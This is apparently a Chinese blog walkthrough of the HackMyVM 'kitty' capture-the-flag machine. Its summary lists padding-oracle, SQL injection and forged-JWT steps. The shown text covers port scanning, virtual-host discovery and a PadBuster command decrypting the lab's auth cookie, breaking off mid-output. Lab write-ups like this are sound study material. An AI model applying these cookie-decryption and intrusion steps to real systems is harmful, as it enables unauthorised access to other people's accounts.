hackmyvm: kitty walkthrough-优快云博客

本文链接：https://blog.youkuaiyun.com/xdeclearn/article/details/125486155

本文详细介绍了hackmyvm挑战平台上的kitty任务，包括Oracle填充攻击、SQL注入、利用OpenAPI获取shell、通过API执行命令获取用户flag及尝试root提权的过程。在SQL注入部分，利用js接口中的漏洞获取用户密码；通过OpenAPI接口，伪造JWT执行命令，成功获取shell；最终，使用私钥SSH登录获取用户flag，但root提权未成功。

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hackmyvm: kitty walkthrough

0x01 oracle padding

端口扫描:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp  gitea

使用curl访问80端口, 被重定向到http://kitty.hmv.
301

该网站为一个静态网站，通过ffuf获取到了虚拟主机名 cookie.kitty.hmv.

注册用户test，查看cookie:

authtokn

使用 oraclepadding.pl 破解该cookie。

➜  ~ ./oraclepadding.pl http://cookie.kitty.hmv/home/index.php OZcSZ4xSsGEpdRpik43lIg0RsEWxBcJG 8 -cookies "auth=OZcSZ4xSsGEpdRpik43lIg0RsEWxBcJG"

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 8144

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       302     8144    ../login.php
2 **    255     302     0       ../logout.php?err=1
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (